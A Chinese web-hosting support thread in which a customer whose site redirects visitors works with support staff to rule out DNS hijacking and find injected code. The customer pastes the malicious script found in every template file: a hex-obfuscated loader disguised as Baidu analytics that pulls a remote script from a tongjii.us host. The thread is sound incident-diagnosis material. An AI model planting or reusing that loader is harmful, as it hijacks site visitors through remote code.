問:網站打開后會跳轉到別的網站,檢查代碼無異常,不知道是什么問題,幫我看看,網站打開后會跳轉到別的網站,檢查代碼無異常
問:會跳到這個網址http://ww87.tongjii.us/?clickid=bfa79ea9-46e2-11ed-acdf-12ef
問:不同電腦打開,跳轉的網址都不一樣,是不是和域名DNS有關,域名和空間都是三五互聯的
答:您好,
這邊測試并無跳轉,請問您是直接在瀏覽器訪問還是通過搜索引擎快照點擊的,1:請先在本地ping下域名看看解析是否正常,2:如同一網絡下電腦訪問均有此問題不排除是本地網絡的劫持,可以參考http://www.shinetop.cn/faq/list.asp?unid=489 修改其中一臺電腦的上網dns并更換瀏覽器重新訪問看下是否還有跳轉的問題,非常感謝您長期對我司的支持!
問:按照你的方法都試了,還是有跳轉,深圳電腦和湖南服務器,訪問都有跳轉,不知道是哪的問題
問:你那邊用不同 的服務器測試一下,打開會不會有跳轉,這樣才知道
答:您好,
這邊測試暫時沒有復現此問題,不過從您反饋看可能還是掛馬的原因較大,并且惡意代碼有判斷所以觸發(fā)有差異,您可以測試訪問靜態(tài)文件,比如www.nsxxb.net/robots.txt 看看是否正常,如靜態(tài)文件訪問不跳轉就排除域名劫持,需要進一步檢查分析程序代碼是否存在異常,非常感謝您長期對我司的支持!
問:www.nsxxb.net/robots.txt靜態(tài)文件訪問不會跳轉,意思是程序代碼有問題
答:您好,
是的,這個就比較明顯跳轉還是在程序方面,請讓程序人員再進一步核查分析,如需要我司協助,可以重新提交【虛擬主機數據庫問題】 -> 【網站類問題】 -> 【網站掛馬/中毒/非法信息清理】分類工單,非常感謝您長期對我司的支持!
問:被人家掛了代碼,查到了,所有模板文件都有,到底哪還有漏洞?這個你們要查查
<script>var _$=[\’\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6c\\x69\\x62\\x2e\\x74\\x6f\\x6e\\x67\\x6a\\x69\\x69\\x2e\\x75\\x73\\x2f\\x6c\\x69\\x6e\\x6b\\x2e\\x6a\\x73\\x3f\’];var j= _$[0];var _hmt = _hmt || [];(function() { var hm = document.createElement(\’script\’); hm.src = j \’//hm.baidu.com/hm.js?41d12a21b4e1a726d4a651685b\’; var s = document.getElementsByTagName(\’script\’)[0]; s.parentNode.insertBefore(hm, s);})();</script>
答:您好,具體需要根據訪問日志來分析。您可以查看下文件的篡改時間,然后查看下對應時間的網站訪問日志,查看這時間前后的日志,根據日志來大致分析入侵點。虛擬主機管理–管理–www日志 可以到這里獲取最近幾天或者歷史日志,然后下載到您本地來分析,非常感謝您長期對我司的支持!